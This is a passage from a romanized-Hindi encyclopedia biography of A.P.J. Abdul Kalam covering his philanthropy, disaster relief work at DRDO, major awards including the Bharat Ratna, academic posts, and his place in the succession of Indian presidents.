unake dvara likhi gayi pustakean bahut lokapriy rahi haian. ve apani kitaboan ki r aauyalti ka adhikaansh hissa svayansevi sansthaoan ko madad mean de dete haian. madar teresa dvara sthapit 'sistars aauf chairiti' unamean se ek hai. vijnan tatha praudyogiki ke kshetr mean unake yogadan ke lie unhean kee puraskar mile haian. inamean se kuchh puraskaroan ke sath nakad rashiyaan bhi thian. vah in puraskar rashiyoan ko paropakar ke karyoan ke lie alag rakhate haian. jab-jab desh mean prakritik apadaean aee haian, tab-tab d aau. kalam ki manaviyata evan karuna nikharakar samane aee hai. vah any manushyoan ke kasht tatha pi da ke vichar matr se duahkhi ho jate haian. vah prabhavit logoan ko rahat pahuchaanne ke lie di.ar.di.o. ke niyantran mean maujood sabhi sansadhanoan ko ekatrit karate. jab ve raksha anusandhan tatha vikas sangathan mean karyarat the to unhoanne har rashtriy apada mean vibhag ki or se badh chadhakar rahat kosh mean madad ki.^[1]

samman aur puraskar

[[chitr:A.P.J. Abdul Kalam teaching at ISRO, 1980.jpg|thumb|d aau. kalam isaro ke vaijnanikoan ko padhate hue, sanh 1980]] d aau. kalam ko anek samman aur puraskar mile haian jinamean shamil haian-

ianstityooshan aauf ianjiniyars ka neshanal dijain avard
eron aautikal sosaiti aauf iandiya ka d aau. biren r aauy spes avard
estron aautikal sosaiti aauf iandiya ka aryabhatt puraskar
vijnan ke lie ji.em. modi puraskar
rashtriy ekata ke lie iandira gaandhi puraskar.
ye bharat ke ek vishisht vaijnanik haian, jinhean 30 vishvavidyalayoan aur sansthanoan se d aauktaret ki manad upadhi prapt ho chuki hai.
inhean bharat ke nagarik samman ke roop mean 1981 mean padm bhooshan, 1990 mean padm vibhooshan, 1997 mean bharat ratn samman prapt ho chuke hai.

visheshata

d aauktar abdul kalam aise tisare rashtrapati haian jinhean bharat ratn ka samman rashtrapati banane se poorv hi prapt hua hai, any do rashtrapati sarvapalli radhakrishnan aur d aauktar zakir husain haian.
yah pratham vaijnanik haian jo rashtrapati bane haian aur pratham rashtrapati bhi haian jo avivahit haian.

vartaman mean

vartaman mean d aau. kalam kashi hindoo vishvavidyalay, bharatiy prabandhan sansthan shilaang, bharatiy prabandhan sansthan ahamadabad tatha bharatiy prabandhan sansthan iandaur mean agantuk prophesar haian. sath hi bharatiy aantariksh vijnan evan praudyogiki sansthan tiroovantapuramh mean kuladhipati tatha anna vishvavidyalay chennee mean eyaro ianjiniyariang ke pradhyapak ke pad mean niyukt haian. aj 82 varsh ki umr mean bhi unaki akadamik sakriyata dekhane layak hai. aise yugapurush ke bare mean jitana bhi kuchh kaha jay, vah kam hi hai.^[1]

bharat ke rashtrapati

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poorvadhikari
ke. ar. narayanan

abdul kalam

uttaradhikari
pratibha patil